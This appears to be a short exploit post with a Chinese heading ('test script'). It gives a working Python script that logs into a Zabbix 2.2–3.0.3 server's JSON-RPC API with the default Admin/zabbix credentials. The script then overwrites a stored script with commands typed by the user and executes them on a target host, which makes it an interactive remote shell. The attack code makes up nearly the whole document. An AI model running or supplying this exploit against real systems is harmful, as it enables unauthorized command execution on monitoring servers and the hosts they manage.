Zabbix RCE with API JSONRPC

测试脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3


import requests
import json
import sys


def verify(url,hostid):
    url = url + '/api_jsonrpc.php'    ### Don't edit

    login = 'Admin'        ### Zabbix login
    password = 'zabbix'    ### Zabbix password

    ### auth
    payload = {
           "jsonrpc" : "2.0",
        "method" : "user.login",
        "params": {
            'user': ""+login+"",
            'password': ""+password+"",
        },
           "auth" : None,
        "id" : 0,
    }
    headers = {
        'content-type': 'application/json',
    }

    auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
    auth = auth.json()

    while True:
        cmd = raw_input(':~  ')
        if cmd == "" : print "Result of last command:"
        if cmd == "quit" : break

    ### update
        payload = {
            "jsonrpc": "2.0",
            "method": "script.update",
            "params": {
                "scriptid": "1",
                "command": ""+cmd+""
            },
            "auth" : auth['result'],
            "id" : 0,
        }

        cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

    ### execute
        payload = {
            "jsonrpc": "2.0",
            "method": "script.execute",
            "params": {
                "scriptid": "1",
                "hostid": ""+hostid+""
            },
            "auth" : auth['result'],
            "id" : 0,
        }

        cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
        cmd_exe = cmd_exe.json()
        print cmd_exe["result"]["value"]


if __name__ == '__main__':
    url = sys.argv[1]
    hostid = sys.argv[2]
    verify(url,hostid)

测试截图: